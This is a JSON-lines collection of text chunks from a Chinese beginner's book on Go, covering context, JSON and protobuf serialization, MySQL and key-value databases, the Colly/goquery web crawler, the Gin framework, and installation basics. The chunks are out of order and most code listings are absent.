    {"text": "■ Done方法返回一个通道（channel），当Context被取消或过期时，该通道关闭，即它是一个表示是否已关闭的信号。 ■ 当Done通道关闭后，Err方法表明Context被取消的原因。"},
    {"text": "要创建上下文树，第一步就是要得到根节点，context.Background函数的返回值就是根节点： Background()函数返回空的上下文，该上下文一般由接收请求的第一个协程创建，作为进入请求对应的上下文根节点，它不能被取消，没有值，也没有过期时间。"},
    {"text": "使用Context的协程是无法取消某个操作的，只有父协程可以取消操作。 在父协程中可以通过WithCancel函数获得一个CancelFunc函数类型变量，从而可以手工取消这个Context。 WithCancel函数将父节点Context复制到子节点，并且返回一个额外的CancelFunc函数类型变量，该函数类型的定义为： 调用CancelFunc对象cancel将取消对应的Context对象，这就是主动取消Context的方法。 在父节点的Context所对应的环境中，通过WithCancel函数不仅可以创建该节点的Context，同时也获得了该节点Context的控制权，一旦执行该函数取消，该节点Context就结束了，而子节点则需要根据context.Done()来判断是否结束。"},
    {"text": "在子上下文被传递到的协程中，应该对该子上下文的Done通道（channel）进行监控，一旦该通道被关闭（即上层运行环境撤销了本协程的执行），应主动终止对当前请求信息的处理，释放资源并返回。"},
    {"text": "（1）使用sync.WaitGroup，它用于线程总同步，会等待一组线程集合完成，才会继续向下执行，这对监控所有子协程全部完成的情况特别有用，但要控制某个协程就无能为力了。"},
    {"text": "（3）使用上下文来传递消息，上下文是层层传递机制，根节点完全控制了子节点，根节点（父节点）可以根据需要选择自动还是手动结束子节点。"},
    {"text": "打开浏览器访问http://localhost:8080/chk，然后访问http://localhost:8080/，由于cookie已经设置，会看到正常通行的结果，否则将会看到无法正常通行时的信息。"},
    {"text": "序列化（Serialization）是将对象的状态信息转换为可以存储或传输的形式的过程。 在序列化期间，对象将其当前状态写入到临时或持久性存储区。 通过从存储区中读取对象的状态，重新创建该对象，则为反序列化。 简单地说，把某种数据结构转为指定数据格式称为“序列化”或“编码”（传输之前）； 而把“指定数据格式”转为某种数据结构称为“反序列化”或“解码”（传输之后）。"},
    {"text": "16.1.2 JSON数据格式 JSON数据序列化函数主要是json.Marshal()： 从上面的Marshal()函数可以看到，数据结构序列化后返回的是字节数组，而字节数组很容易通过网络传输或写入文件存储。"},
    {"text": "而且在Go中，Marshal()默认是设置escapeHTML=true，会自动把 '<', '>' 以及 '&' 等转化为\"\\u003c\"、\"\\u003e\"以及 \"\\u0026\"。"},
    {"text": "JSON数据反序列化函数主要是UnMarshal()： 从上面的UnMarshal()函数可以看到，反序列化是读取字节数组，进而解析为对应的数据结构。 JSON是一种通用的数据格式，在序列化和反序列化中，需要考虑和具体开发语言类型的对应关系。"},
    {"text": "JSON有4种基本类型，见表16-1。 表16-1 JSON基本数据类型 JSON一共有两种结构类型，见表16-2。 表16-2 JSON结构类型 在Go语言中，JSON与Go类型对应关系见表16-3。 表16-3 JSON与Go数据类型对照表 在解析JSON格式数据时，若以interface{}接收数据，需要按照表16-3所示规则进行解析。 在Go语言中，利用标准库的encoding/json包将数据序列化为JSON数据格式这个过程简单直接，直接使用json.Marshal(v)来处理任意类型，序列化成功后得到一个字节数组。"},
    {"text": "16.1.3 将JSON数据反序列化到结构体 将JSON数据反序列化到结构体这种需求是最常见的，在知道JSON数据结构的前提下，完全可以定义一个或几个适当的结构体并对JSON数据反序列化。"},
    {"text": "jsonStr可以是一个JSON数据，通过json.Unmarshal，可以把JSON中的数据反序列化到对应结构体，由于结构体Human的name字段不能导出，所以并不能实际得到JSON中的值，这是在定义结构体时需要注意的。"},
    {"text": "16.1.4 反序列化任意JSON数据 encoding/json包使用map[string]interface{}和[]interface{}储存任意的JSON对象和数组，它可以被反序列化为任何JSON blob存储到接口值中。"},
    {"text": "16.1.5 JSON数据编码和解码 encoding/json包提供Decoder和Encoder类型，NewDecoder和NewEncoder函数分别封装了io.Reader和io.Writer接口。 函数签名如下： 在需要把JSON格式的数据写入文件时，可以使用json.NewEncoder（或实现io.Writer的类型）得到Encoder，然后通过Encoder的Encode()来进行写入；"},
    {"text": "例如，下面例子使用Decode方法解码一段JSON格式数据，同时使用Encode方法将结构体数据保存到文件t.json中。 代码如下所示： 程序输出如下： 上面代码中调用json.NewDecoder函数构造Decoder对象，使用这个对象的Decode方法将JSON串解码给定义好的结构体对象h。"},
    {"text": "类似解码过程，通过json.NewEncoder()函数可构造Encoder对象，由于os包中文件操作已经实现了Writer接口，所以可以直接使用，把h结构体对象编码为JSON数据格式保存在文件t.json中。"},
    {"text": "当结构体Human的Name字段的类型设置为json.RawMessage时，它将在解码后继续以字节数组方式存在。 例如： 程序输出如下： 在对JSON数据第一次解码后，保存在Human的hu.Name的值还是二进制数组，在后面对hu.Name进行解码后才真正反序列化为string类型的真实字符串对象。"},
    {"text": "（1）下载protobuf的编译器protoc，地址为https://github.com/google/protobuf/releases。 下载protoc-3.6.1-win32.zip，然后解压，把protoc.exe文件复制到GOPATH/bin下。 （Linux用户下载protoc-3.6.1-linux-x86_64.zip或protoc-3.6.1-linux-x86_32.zip，然后解压，把protoc文件复制到GOPATH/bin下。 ） （2）获取protobuf的编译器插件protoc-gen-go。 在命令行运行go get-u github.com/golang/protobuf/protoc-gen-go。 会在GOPATH/bin下生成protoc-gen-go.exe文件，如果没有请自行编译。 建议把GOPATH/bin目录加入PATH，方便后续操作。"},
    {"text": "也可参考https://gowalker.org/github.com/golang/protobuf/proto。 protobuf的使用方法是将数据结构写入到.proto文件中，使用protoc编译器编译（通过调用protoc-gen-go）得到一个新的go包，里面包含GO程序可以使用的数据结构和一些辅助方法。"},
    {"text": "在user.proto文件目录下运行如下命令： 会生成一个user.pb.go文件，代码如下： 接下来，就可以在Go程序中使用protobuf了： 程序输出如下： 通过上面的介绍，相信大家已经初步学会了怎么使用protobuf来处理相关数据。"},
    {"text": "作为操作数据库的入口对象，sql.DB主要提供了两个重要的功能。 ■ sql.DB通过数据库驱动管理底层数据库连接的打开和关闭操作。 ■ sql.DB管理数据库连接池。 需要注意的是，sql.DB表示操作数据库的抽象访问接口, 而非一个数据库连接对象；"},
    {"text": "下面以MySQL 8.0为例，来讲讲怎么在Go语言中使用MySQL数据库。 首先，需要下载第三方包，地址为： 需要在代码中导入MySQL数据库驱动： 通常来说，不应该直接使用驱动所提供的方法，而是应该使用sql.DB，因此在导入MySQL驱动时，这里使用了匿名导入的方式（在包路径前添加_），当导入一个数据库驱动后，此驱动会自行初始化并注册自己到Go的database/sql上下文中，程序就可以通过database/sql包提供的方法访问数据库了。"},
    {"text": "在Go语言中对数据类型要求很严格，一般查询数据时先定义数据类型，但是查询数据库中的数据时有三种状态：存在值、存在零值、未赋值NULL，因此可以将待查询的数据类型定义为sql.Nullxxx类型，可以通过判断Valid值来判断查询到的值是赋值状态还是未赋值NULL状态。"},
    {"text": "下面把MySQL数据库操作分为插入数据、删除数据、修改数据、查询数据和事务处理五个部分，读者可以通过对每个部分的深入了解，学习Go语言中MySQL数据库的使用情况。"},
    {"text": "代码如下： （2）删除数据操作由方法deleteData()完成。 代码如下： （3）修改数据操作由方法editData()完成。 代码如下： （4）查询数据操作由方法queryData()完成。"},
    {"text": "当遍历读到最后一条记录时，会发生一个内部EOF错误，自动调用rows.Close()，但如果提前退出循环，rows不会关闭，连接不会回到连接池中，也不会关闭，则此连接会一直被占用。"},
    {"text": "因此通常使用defer rows.Close()来确保数据库连接可以正确放回到连接池中。 总之，在数据库操作中使用defer xxx.Close来关闭释放资源是一种良好的行为。"},
    {"text": "代码如下： 以上MySQL增删改查操作以及事务处理都有注释和说明，读者在开发中多多运用会学习到更多的经验，尤其是有关查询操作，如SQL语句的优化等。"},
    {"text": "它将有序的键-值对存储在不同的文件中，在db目录下有很多数据文件，并通过“层级”把它们分开，并且周期性地将较小的文件合并为较大的文件。"},
    {"text": "LSM树的设计思想非常朴素，它的原理是把一棵大树拆分成N棵小树，它首先写入到内存中（内存没有寻道速度的问题，随机写的性能得到大幅提升），在内存中构建一棵有序小树，随着小树越来越大，内存的小树会强制刷出到磁盘上。"},
    {"text": "BoltDB使用一个单独的内存映射的文件（.db），实现一个写入时复制的B+树，这能让读取更快。 而且，BoltDB的载入时间很快，特别是在从崩溃中恢复的时候，因为它不需要通过读日志找到上次成功的事务，仅需要从两个B+树的根节点读取ID。 BoltDB支持完全可序列化的ACID事务，让应用程序可以更简单地处理复杂操作。 BoltDB设计源于LMDB，具有以下特点： ■ 直接使用API存取数据，没有查询语句。"},
    {"text": "■ 通过COW [2] 技术，可实现无锁的读写并发，但是无法实现无锁的写写并发，这就注定了读性能超高，但写性能一般，适合读多写少的场景。"},
    {"text": "LMDB文件可以同时由多个进程打开，具有极高的数据存取速度，访问简单，不需要运行单独的数据库管理进程，只要在访问数据的代码里引用LMDB库，访问时给出文件路径即可。 系统访问大量小文件的开销很大，而LMDB使用内存映射的方式访问文件，使得文件内寻址的开销非常小，使用指针运算就能实现。"},
    {"text": "16.3.1 LevelDB数据库操作 Go语言中使用github.com/syndtr/goleveldb/leveldb包实现LevelDB，通过go get命令下载该包后在程序中导入。 goleveldb主要有Get()，Put()等方法，可进行key-value的读取和写入，可进行事务批量Put()插入key，Delete()删除某个key。"},
    {"text": "[1] WAL（Write-Ahead Logging），预写日志系统，数据库中一种高效的日志算法，在事务提交时，磁盘写操作次数只有传统的回滚日志的一半左右，大大提高了数据库磁盘I/O操作的效率，从而提高了数据库的性能。"},
    {"text": "[2] COW（Copy-On-Write），写时复制快照技术，顾名思义，如果要改写源数据块上的原始数据，首先将原始数据复制到新数据块中，然后再进行改写。"},
    {"text": "未知 出版说明 随着信息科学与技术的迅速发展，人类每时每刻都会面对层出不穷的新技术和新概念。毫无疑问，在节奏越来越快的工作和生活中，人们需要通过阅读和学习大量信息丰富、具备实践指导意义的图书来获取新知识和新技能，从而不断提高自身素质，紧跟信息化时代发展的步伐。 众所周知，在计算机硬件方面，高性价比的解决方案和新型技术的应用一直备受青睐；在软件技术方面，随着计算机软件的规模和复杂性与日俱增，软件技术不断地受到挑战，人们一直在为寻求更先进的软件技术而奋斗不止。目前，计算机和互联网在社会生活中日益普及，掌握计算机网络技术和理论已成为大众的文化需求。由于信息科学与技术在电工、电子、通信、工业控制、智能建筑、工业产品设计与制造等专业领域中已经得到充分、广泛的应用，所以这些专业领域中的研究人员和工程技术人员越来越迫切需要汲取自身领域信息化所带来的新理念和新方法。 针对人们了解和掌握新知识、新技能的热切期待，以及由此促成的人们对语言简洁、内容充实、融合实践经验的图书迫切需要的现状，机械工业出版社适时推出了“信息科学与技术丛书”。这套丛书涉及计算机软件、硬件、网络和工程应用等内容，注重理论与实践的结合，内容实用、层次分明、语言流畅，是信息科学与技术领域专业人员不可或缺的参考书。 目前，信息科学与技术的发展可谓一日千里，机械工业出版社欢迎从事信息技术方面工作的科研人员、工程技术人员积极参与我们的工作，为推进我国的信息化建设做出贡献。 机械工业出版社"},
    {"text": "未知 第17章 网络爬虫 17.1 Colly网络爬虫框架 Colly是用Go语言实现的网络爬虫框架。Colly快速优雅，在单核上每秒可以发起1000次以上请求；以回调函数的形式提供了一组接口，可以实现任意类型的爬虫。 Colly的特性如下： ■ 清晰的API ■ 快速（单个内核上的请求数大于1000） ■ 管理每个域的请求延迟和最大并发数 ■ 自动cookie和会话处理 ■ 同步/异步/并行抓取 ■ 高速缓存 ■ 自动处理非Unicode的编码 ■ 支持Robots.txt ■ 定制Agent信息 ■ 定制抓取频次 特性如此多，引无数程序员竞折腰。下面开始Colly之旅吧。 首先，下载安装第三方包，命令为：go get-u github.com/gocolly/colly/。 接下来在代码中导入包。 准备工作已经完成，接下来就看看Colly的使用方法和主要用途。 Colly的主体是Collector对象，管理网络通信和负责在程序运行时执行附加的回调函数。使用Colly需要先初始化Collector： NewCollector也是变参函数，参数类型为函数类型func(*Collector)，主要是用来初始化一个&Collector{}对象。而在Colly中有不少函数都返回这个函数类型func(*Collector)，如UserAgent (us string)用来设置UA。下面是这两个函数的签名： 在Go语言中采用回调函数的形式可以更灵活、更方便地初始化对象，设置对象属性。 一旦得到一个Colly对象，可以向Colly附加各种类型的回调函数（回调函数在Colly中广泛使用）来控制收集作业或获取信息，回调函数的调用顺序如下： （1）OnRequest：在发起请求前被调用，做每次抓取前的预处理工作。 （2）OnError：请求过程中如果发生错误被调用。 （3）OnResponse：收到响应后被调用，处理刚响应的数据。 （4）OnHTML：在OnResponse之后被调用，如果收到的内容是HTML代码，会根据页面上的DOM进行分析。 （5）OnScraped：在OnHTML之后被调用，处理抓取后的收尾工作。 下面看一个例子。 上面代码在开始处对Colly做了简单的初始化，增加UserAgent和域名限制，其他的设置可根据实际情况来设置，Url过滤、抓取深度等都可以在此设置。 该例只是简单说明了Colly在爬虫抓取、调度管理方面的优势，对此如有兴趣可深入了解。大家在深入学习Colly时，可自行选择更合适的URL。 程序运行后，开始根据news.baidu.com抓取页面结果，通过OnHTML回调函数分析首页中的热点新闻标题及链接，并可不断地抓取更深层次的新链接进行访问，每个链接的访问结果可以通过OnHTML进行分析，也可通过OnResponse进行处理。例子中没有进一步展示深层链接的内容，有兴趣的读者可以深入研究。 下面来看看OnHTML这个方法的签名。 直接在参数中标明了goquerySelector，上例中有简单尝试。这和下面要介绍的goquery HTML解析框架有一定联系。可以使用goquery更轻松地分析HTML代码。 17.2 goquery HTML解析 Colly框架可以快速发起请求，接收服务器响应。但如果需要分析返回的HTML代码，仅仅使用Colly就有点吃力了。而goquery第三方包是一个使用Go语言写成的HTML解析库，功能更加强大。 goquery引入了jQuery的语法和特性，所以可以更灵活地选择采集内容的数据项，用jQuery的方式来操作DOM文档，使用起来非常简便。 goquery的主要结构如下： Document嵌入了Selection类型，因此，Document可以直接使用Selection类型的方法。可以通过下面四种方式来初始化得到*Document对象。 Selection是一个重要的结构体，解析中最重要、最核心的方法都由它提供。 下面了解一下怎么使用goquery。 首先，要确定已经下载安装了这个第三方包，地址为： 接下来在代码中导入包： goquery的主要用法是选择器，需要借鉴jQuery的特性，多加练习就能很快掌握。限于篇幅，这里只能简单介绍goquery的大概情况。 goquery可以直接发送URL请求，获得响应后得到HTML代码。但goquery主要擅长HTML代码分析，而Colly在爬虫抓取管理调度上有优势，所以下面以Colly作为爬虫框架，goquery作为HTML分析器，看看怎么抓取并分析页面内容。 上面代码中，goquery先通过goquery.NewDocumentFromReader生成文档对象htmlDoc。有了htmlDoc就可以使用选择器，选择器的目的主要是定位htmlDoc.Find(\".hotnews a\").Each(func(i int, s*goquery.Selection)，找到文档中的<div class=\"hotnews\"alog-group=\"focustop-hotnews\">。 有关选择器Find()方法的使用语法，是不是有些熟悉的感觉？没错，就是jQuery的样子。 在goquery中，常用选择器语法见表17-1。 表17-1 goquery常用选择器语法 下列几个选择器也很常用。 （1）parent>child选择器 如果想筛选出某个元素下符合条件的子元素，可以使用子元素筛选器，它的语法为Find(\"parent>child\")，表示筛选parent这个父元素下，符合child这个条件的最直接（一级）的子元素。 （2）prev+next相邻选择器 假设要筛选的元素没有规律，但是该元素的上一个元素有规律，可以使用这种下一个相邻选择器来进行选择。 （3）prev～next选择器 有相邻就有兄弟，兄弟选择器就不一定要求相邻了，只要它们共有一个父元素就可以。 Colly+goquery是抓取网络内容的利器，使用极方便。如今动态渲染的页面越来越多，爬虫们或多或少都需要用到headless browser来渲染待爬取的页面，这里推荐开源软件chromedp，网址为https://github.com/chromedp/chromedp。"},
    {"text": "未知 第18章 Web框架——Gin 18.1 关于Gin 在Go语言的Web开发中，有两款著名框架的命名都与酒有关：Martini（马丁尼）和Gin（杜松子酒），由于我不善饮酒，所以对这两种酒的优劣暂不做评价，但说起Web框架比较，Gin比Martini强得多。 Gin具有运行速度快、分组的路由、良好的异常捕获和错误处理、非常好的支持中间件和JSON等优点，是一款值得好好研究的Web框架，网址是https://github.com/gin-gonic/gin。"},
    {"text": "它是一个轻量级的Web框架，支持RESTful风格的API，支持GET，POST，PUT，PATCH，DELETE和OPTIONS等http方法，支持文件上传、分组路由、Multipart/Urlencoded FORM，以及支持JSONP、参数处理、异常捕获、错误管理等功能，这些都和Web开发紧密相关，通过提供这些功能，使开发人员更能集中精力处理Web业务。"},
    {"text": "18.2 Gin实际应用 接下来使用Gin作为框架来搭建一个由静态资源站点、动态Web站点以及RESTful API接口站点（可专门为手机APP应用提供服务）组成的网站，亦可根据情况分拆这套系统，每种功能独立出来单独提供服务。"},
    {"text": "图18-1 系统目录结构 18.2.1 静态资源站点 一般网站开发中，会考虑把js，css文件以及资源图片放在一起，作为静态站点部署在CDN，提升响应速度。"},
    {"text": "由于这些功能除了前端页面外，还需要服务端程序一起来实现，而且需要经常修改代码和模板，所以把它们统一放在一个大目录下，姑且称动态站点。 tpl是动态站点所有模板的根目录，这些模板可调用静态资源站点的css文件、图片等，photo是图片上传后存放的目录。"},
    {"text": "在website分组中，当用户访问http://localhost/index.html这个URL，实际由handler.Index Handler来处理，即v.GET(\"/index.html\", handler.IndexHandler)在起作用。"},
    {"text": "在包里定义了IndexHandler函数，它使用了index.html模板。 index.html模板如下： 在index.html模板中，通过{{template\"header\".}}语句，嵌套了header.html模板。 header.html模板如下： {{ define \"header\" }} 让程序员在模板嵌套时直接使用模板名header，而在index.html中的{{template \"header\" .}}，句点“.”可以使参数嵌套传递，否则参数不能传递，例如这里的参数Title。"},
    {"text": "有关IPFS： IPFS本质上是一种内容可寻址、版本化、点对点超媒体的分布式存储和传输协议，目标是补充甚至取代过去20年里使用的超文本媒体传输协议（HTTP），希望构建更快、更安全、更自由的互联网时代。 IPFS不算严格意义上的区块链项目，而是一个去中心化存储解决方案，但有些区块链项目通过它来做存储。"},
    {"text": "优雅重启在迭代中有较好的实际意义，每次版本发布，如果直接停止服务再部署重启，对业务影响还是很大的，而通过优雅重启，这方面的体验可以做得更好。"},
    {"text": "导入github.com/didip/tollbooth/limiter包，在上面代码基础上增加如下语句： 修改并加入限流策略： 按F5键刷新http://localhost/index.html页面时，浏览器会显示：服务繁忙，请稍后再试... 限流策略的对象也可以是IP。 更多限流策略的配置，可以进一步浏览网址github.com/didip/tollbooth/limiter了解。"},
    {"text": "18.2.4 RESTful API接口 前面说了在Gin里面可以采用分组来组织访问URL，这里RESTful API需要给出不同的访问URL方法来和动态站点区分，所以新建了一个分组v1。"},
    {"text": "图18-3 访问API返回JSON数据 这里对v1.GET(\"/user/:id/*action\", LimitHandler(lmt), api.GetUser)进行了限流控制，所以如果频繁访问上面地址将受到限制，这在API接口中非常有用。"},
    {"text": "未知 参考文献 [1] golang. The Go Programming Language Specification[S/OL]. https://golang.google.cn/ref/spec. [2] golang. Effective Go[J/OL].https://golang.google.cn/doc/effective_go.html. [3] Unicode Character Categories[S/OL].http://www.fileformat.info/info/unicode/category/index.htm. [4] Hypertext Transfer Protocol--HTTP/1.1[S/OL].http://www.w3.org/Protocols/rfc2068/rfc2068. [5] RFC 4229-HTTP Header Field Registrations[S/OL].https://tools.ietf.org/html/rfc4229. [6] Hypertext Transfer Protocol--HTTP/1.1[S/OL].http://www.w3.org/Protocols/rfc2616/rfc2616. 未知 前言 现在市面上与Go语言相关的书籍较少，大部分书籍针对的是中高级开发人员，而从基础知识讲解，进而到初步应用开发的指导性书籍更少。 针对以上情况，本书详细讲解了Go语言基础知识点，并联系实际指出其可能存在的陷阱，帮助读者加深学习时的理解。本书还结合流行度较高的开源第三方包，引导读者进行更高级的实际项目开发。 本书非常适合Go语言新手细细阅读。有一定经验的开发人员，也可以根据自己的情况，选择一些章节来看。 第1～4章为基础部分，主要讲解Go语言的基础知识，包括Go语言的安装、基本语法、标识符、关键字、运算符、标点符号、字面量等，以及Go项目的工程构建、编译与运行等。 第5～8章为中级部分，主要讲解Go语言的复合数据类型，包括数组（array）、切片（slice）、字典（map）、结构体（struct）、指针（pointer）、函数（function）、接口（interface）和通道（channel）类型等。利用灵活的type关键字，可以自定义各种需要的数据类型。函数提供了更直接的数据处理能力，而通过panic，recover，defer处理错误的方式，也是Go语言的典型特征。 第9～13章为高级部分，主要讲解结构体、接口和方法，它们是Go语言简单与组合思维的基础。非常友好地支持并发是Go语言天然具有的典型特征，协程（gorountine）和通道（channel）配合，加上sync包提供的系列功能，使我们可以很方便地编写支持高并发的代码。 第14～16章为拓展部分，主要介绍Go语言提供的官方标准库，包括OS操作、文件I/O、网络传输处理、指针相关操作、代码反射、日志记录等。这些包可以让我们快速进入实际开发。另外对MySQL数据库以及LevelDB、BoltDB数据库的操作有简单介绍。 第17、18章为应用部分，主要以网络爬虫和Web框架为例，进入实际开发。网络爬虫是互联网服务中比较重要的功能，通过互联网抓取、分析、保存资料是程序员的一项基本能力，读者可以看到Go语言在此方面也是游刃有余。而利用Gin这款轻量级的Web框架，可以很方便地搭建各种Web服务。 自2009年Go语言面世以来，已经有越来越多的公司转向Go语言开发。而Go语言以语法简单、学习门槛低、上手快著称，但入门后很多人发现要写出地道的、遵循Go语言思维的代码却实属不易。 我作为Go语言的爱好者，在阅读系统标准库源代码或其他知名开源包源代码时，发现大牛对这门语言的了解之深入，代码实现之巧妙优美，除了膜拜还是膜拜。所以我建议你有时间多多阅读这些代码，网上说Go大神的标准是“能理解简洁和可组合性哲学”。的确，Go语言追求代码简洁到极致，而组合思想可谓借助于结构体和接口而成为Go的灵魂。 function、method、interface、type等名词是程序员们接触比较多的关键字，但在Go语言中，你会发现，它们有更强大、更灵活的用法。当你彻底理解了Go语言相关基本概念，以及对其特点有了深入的认知（当然这也是这本书的目的），再假以时日多练习和实践，我相信你很快就能真正掌握这门语言，成为一名出色的Gopher。 本书最早通过网络发布，有不少关注Go语言的朋友通过各种途径给了不少建议，这里要感谢网友Joyboo、林远鹏、Mr_RSI、magic-joker等。 本书最终得以出版，需要感谢李岩兄的鼓励和帮助，以及其他各位朋友和老师们，感谢你们的鼓励和帮助，感谢你们的支持！ 最后，希望更多的人了解和使用Go语言，也希望阅读本书的朋友们多多交流。虽然本书中的例子都经过实际运行，但难免会有错误和不足之处，烦请您指出。书中其他疏漏之处也恳请各位读者斧正。作者联系邮箱：roteman@163.com。 祝各位Gopher工作开心，编码愉快！ 李晓钧"},
    {"text": "” 1.1 为什么要学Go语言 Go语言是一门全新的静态类型开发语言，具有自动垃圾回收、丰富的内置类型、函数多返回值、错误处理、匿名函数、并发编程、反射、defer等关键特征，并具有简洁、安全、并行、开源等特性。 从语言层面支持并发，可以充分利用CPU多核，Go语言编译的程序可以媲美C或C++代码的速度，而且更加安全、支持并行进程。"},
    {"text": "Go语言内置运行时，支持继承、对象等，开发工具丰富，例如gofmt工具能自动格式化代码，让团队代码风格完美统一。 同时Go非常适合用来进行服务器编程、网络编程（包括Web应用、API应用）和分布式编程等。 自2009年Go语言面世以来，已经有越来越多的公司转向Go语言开发，例如腾讯、百度、阿里、京东、小米、猎豹移动以及360，而七牛云的技术栈基本上完全采用Go语言来开发。 还有像今日头条、Uber这样的公司，也使用Go语言对自己的业务进行了彻底重构。 在全球范围内Go语言的使用不断增长，尤其是在云计算领域，用Go语言编写的几个主要云基础项目如Docker和Kubernetes，都取得了巨大成功。 除此之外，还有多种有名的项目如etcd、consul、flannel等，均使用Go语言实现。 Go语言有“两快”，一是编译运行快，二是学习上手快。 Go语言的学习曲线并不陡峭，无论是刚开始接触编程的朋友，还是有其他语言开发经验而打算学习Go语言的朋友，大家都可以放心大胆来学习和了解Go语言，“它值得拥有！"},
    {"text": "1.2 Go语言安装 要用Go语言来进行开发，需要先搭建开发环境。 Go语言支持以下系统： ■ Linux ■ FreeBSD ■ Mac OS X（也称为Darwin） ■ Windows 首先需要下载Go语言安装包，下载地址为https://golang.org/dl/，国内下载地址是https://golang.google.cn/dl/。 1.源码编译安装 Go语言是谷歌在2009年发布的第二款开源编程语言。 经过几年的版本更迭，目前Go已经发布了1.11版本，UNIX/Linux/Mac OS X和FreeBSD系统下可使用如下源码安装方法。"},
    {"text": "链接是https://golang.google.cn/dl/go1.11.1.linux-amd64.tar.gz。 （2）将下载的源码包解压至/usr/local目录： tar-C/usr/local-xzf go1.11.1.linux-amd64.tar.gz （3）将/usr/local/go/bin目录添加至PATH环境变量： export PATH=$PATH:/usr/local/go/bin （4）设置GOPATH、GOROOT环境变量。 GOPATH是工作目录，GOROOT是Go的安装目录，这里为/usr/local/go/。 Mac系统下可以使用以.pkg为扩展名的安装包直接双击来完成安装，安装目录在/usr/local/go/下。 2.Windows系统下安装 在Windows系统下一般采用直接安装，下载go 1.11.1.windows-amd64.zip版本，直接解压到安装目录，如D:\\Go，然后把D:\\Go\\bin目录添加到PATH环境变量中。 另外，还需要设置两个重要环境变量： GOPATH=D:\\goproject GOROOT=D:\\Go\\ 以上环境变量设置好后，就可以使用Go语言来开发了。 Windows系统也可以选择go1.11.1.windows-amd64.msi，双击运行程序，根据提示来操作。"},
    {"text": "按Win+R键打开命令行（注意：设置环境变量后需要重新打开命令行），输入go，出现如下显示，说明Go语言运行环境已经安装成功。 另外，输入go version，可看到安装的Go版本信息，如图1-1所示。 图1-1 go version和go env命令 图1-1中，输入go env命令可以看到用户自己的相关Go环境变量，这里重点关注GOPATH和GOROOT，其他变量暂不用深入了解。"},
    {"text": "$GOPATH允许有多个目录，当有多个目录时，请注意分隔符，Windows中的分隔符是分号“;”。 当有多个$GOPATH时默认将go get命令获取的包存放在第一个目录下。 $GOPATH目录下约定有三个子目录。"},
    {"text": "■ src存放源代码（如.go, .c, .h, .s等文件）。 按照Go默认约定，src目录是go run，go install等命令的当前工作路径（即在此路径下执行上述命令）。 src也是用户代码存放的主要目录，所有的源码都放在这个目录下面，一般一个项目和一个目录对应。"},
    {"text": "在本书中，所有示例代码都放在$GOPATH目录下的src\\go42目录中，本书的第一个例子文件名为test.go，代码如下： 使用go run命令执行以上代码，程序输出如下： 1.3 Go语言开发工具 本书推荐的Go语言开发工具是LiteIDE，这是一个开源、跨平台的轻量级Go语言集成开发环境（IDE）。"},
    {"text": "可执行文件地址：https://sourceforge.net/projects/liteide/files/ 源码地址：https://github.com/visualfc/liteide golang中国也可以下载（https://www.golangtc.com/download/liteide）。"},
    {"text": "1.可执行文件系统下直接安装 Windows下选择liteidex35.1.windows-qt5.9.5.zip，下载之后解压，在liteide\\bin文件夹下找到liteide.exe，双击运行。"},
    {"text": "如无意外，将会出现LiteIDE的运行界面，如图1-2所示。 图1-2 LiteIDE运行界面 LiteIDE的使用相对来说比较简单，很容易上手，就不在此细说了。 2.源码编译安装 下载LiteIDE源码后，需要使用Qt4/Qt5来编译源代码，Qt库可以从https://qt-project.org/downloads上获取。"},
    {"text": "未知 第2章 Go语言编程基础 程序语言的数据类型是学习时必须了解的基础知识，Go语言也一样。 本章就从Go语言的数据类型开始。 2.1 数据类型 2.1.1 基础数据类型 Go语言数据类型可用于参数和变量声明，按类别大致有以下几种数据类型： （1）布尔类型：布尔型的值只可以是常量true或者false，例如var b bool=true。"},
    {"text": "（4）复合（派生）类型：包括指针类型（pointer）、数组类型（array）、结构类型（struct）、通道类型（channel）、函数类型（function）、切片类型（slice）、接口类型（interface）和字典类型（map）。"},
    {"text": "例如，定义从文件读取数据的函数，其返回值就有一个错误类型： Go语言也有基于架构的数据类型，如int、uint和uintptr等，这些数据类型的长度都是根据运行程序时所在的操作系统类型决定的。"},
    {"text": "整型见表2-1。 表2-1 整型数据 （续） 其他整型见表2-2。 表2-2 其他整型 浮点型见表2-3。 表2-3 浮点型 浮点数可细分为float32和float64两种。"},
    {"text": "浮点数能够表示的范围可以从很小到很大，这个极限值范围可以在math包中获取，math.MaxFloat32表示float32的最大值，大约是3.4e38，math.MaxFloat64大约是1.8e308，两个类型最小的非负值大约是1.4e-45和4.9e-324。"},
    {"text": "float32大约可以提供小数点后6位的精度，而float64可以提供小数点后15位的精度。 通常情况应该优先选择float64，因为float32的精度较低，在累积计算时误差扩散很快，而且因为浮点数和整数的底层解释方式完全不同，float32能精确表达的最小正整数并不大。"},
    {"text": "在一定条件下，字符串可以转为数字： 数字也可转为字符串： 在Go语言中，对字符串使用range循环会在每次迭代时，解码一个UTF-8编码的字符。"},
    {"text": "返回的两个值，第一个是被迭代的字符的UTF-8编码的第一个字节在字符串中的索引，第二个是对应的字符且类型为rune（实际就是表示Unicode值的整型数据）。"},
    {"text": "复数使用re+imi来表示，其中re代表实数部分，im代表虚数部分，i代表 。 示例如下： 如果re和im的类型均为float32，那么下面的cc是类型为complex64的复数： 函数real(c)和imag(c)可以分别获得相应的实数和虚数部分。"},
    {"text": "例如： 2.1.2 复合数据类型 Go语言中有多种复合数据类型：数组（array）、切片（slice）、字典（map）、结构体（struct）、指针（pointer）、函数（function）、接口（interface）和通道（channel）。"},
    {"text": "2.2 变量 2.2.1 变量以及声明 Go语言中有四类标记：标识符（identifiers）、关键字（keywords）、运算符（operators）标点符号（punctuation）以及字面量（literals）。 Go语言变量标识符由字母、数字、下画线组成，其中首字符不能为数字，同一字母的大小写在Go语言中代表不同标识。 根据Go语言规范，标识符命名程序实体，例如变量和类型。"},
    {"text": "Go语言将Unicode中任何字母类别Lu、Ll、Lt、Lm或Lo中的所有字符视为Unicode字母，将数字类别Nd中的字符视为Unicode数字。 据统计，Go语言视为Unicode的字母（含下画线“_”）一共有20871个（包括汉字），见表2-5。 表2-5 Unicode字母表 在Go语言中，命名标识符时，通常选择英文的52个大小写字母以及数字0～9和下画线来组合成合适的标识符。"},
    {"text": "单个变量的声明不用加圆括号，比如： 记住，这些变量在Go语言中都会自动赋予对应的零值，但零值并不一定是0，后面有关于零值的详细说明。"},
    {"text": "如： 简式声明（short variable declarations），也叫短变量声明，它是具有初始化表达式的常规变量声明的简写，但没有类型（隐式类型定义，会根据其使用环境而推断出它所具备的类型）。"},
    {"text": "简式声明虽然一般用在函数内，但要注意的是：全局变量和简式声明的变量尽量不要同名，否则很容易产生偶然的变量隐藏（Accidental Variable Shadowing）。"},
